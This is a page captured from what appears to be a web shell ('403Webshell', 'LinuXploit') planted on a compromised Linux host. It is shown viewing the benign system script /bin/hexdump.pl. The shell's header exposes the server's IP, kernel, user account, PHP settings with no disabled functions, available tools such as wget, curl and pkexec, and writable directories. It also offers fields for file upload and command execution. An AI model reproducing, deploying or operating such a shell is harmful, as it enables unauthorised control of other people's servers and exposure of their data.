403Webshell
Server IP : 170.10.161.225  /  Your IP : 216.73.216.78
Web Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : ON
Directory :  /bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : //bin/hexdump.pl
#!/usr/bin/perl -w

use strict;
use Data::HexDump;
use FileHandle;

my $prgname = "hexdump";
my $file = shift;
my $fh;

if ($file) {
  die "$prgname: $file: Is a directory\n" if -d $file;
  $fh = new FileHandle $file;
  die "$prgname: $file: $!\n" unless defined $fh;

  my $f = new Data::HexDump;
  $f->fh($fh);
  $f->block_size(1024);
  print while $_ = $f->dump;

  close $fh;
}
else {
  # read STDIN
}

sub Usage {
  die "Usage: $prgname [FILE]\n" .
    "Dump FILE, or standard input, to standard output.\n\n" .
    "With no FILE, or when FILE is -, read standard input.\n";
}

Youez - 2016 - github.com/yon3zu
LinuXploit